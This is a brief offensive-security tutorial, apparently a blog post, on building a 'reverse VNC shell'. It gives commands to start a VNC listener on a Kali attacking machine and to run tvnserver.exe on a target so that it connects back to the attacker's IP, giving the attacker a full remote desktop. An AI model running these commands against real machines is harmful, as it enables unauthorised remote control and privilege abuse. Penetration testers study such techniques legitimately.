Reverse VNC shell



It is often handy to transform a normal shell to a “GUI”. For example, sometimes the “run as administrator” option is enabled inside Windows with already entered credentials. To exploit this you would often need that GUI. One way of getting the GUI is to get a vnc service onto the target machine and instruct it to connect back to your attacking machine. One tool called TighVNC includes a handy executable called tvnserver.exe which may do this. Simply download TightVNC and extract tvnserver.exe. You may then start a VNC listener on your attacking machine running Kali Linux as follows:

# vncviewer -listen 0

Then simply copy tvnserver over to the target machine (using any transfer method) and run the two following commands:

cmd /c tvnserver
tvnserver.exe -controlapp -connect ip:5500

Depending on the connection speed, a full GUI of the OS may popup after a few moments on the attacking machine.

 

Leave a Reply

Your email address will not be published. Required fields are marked *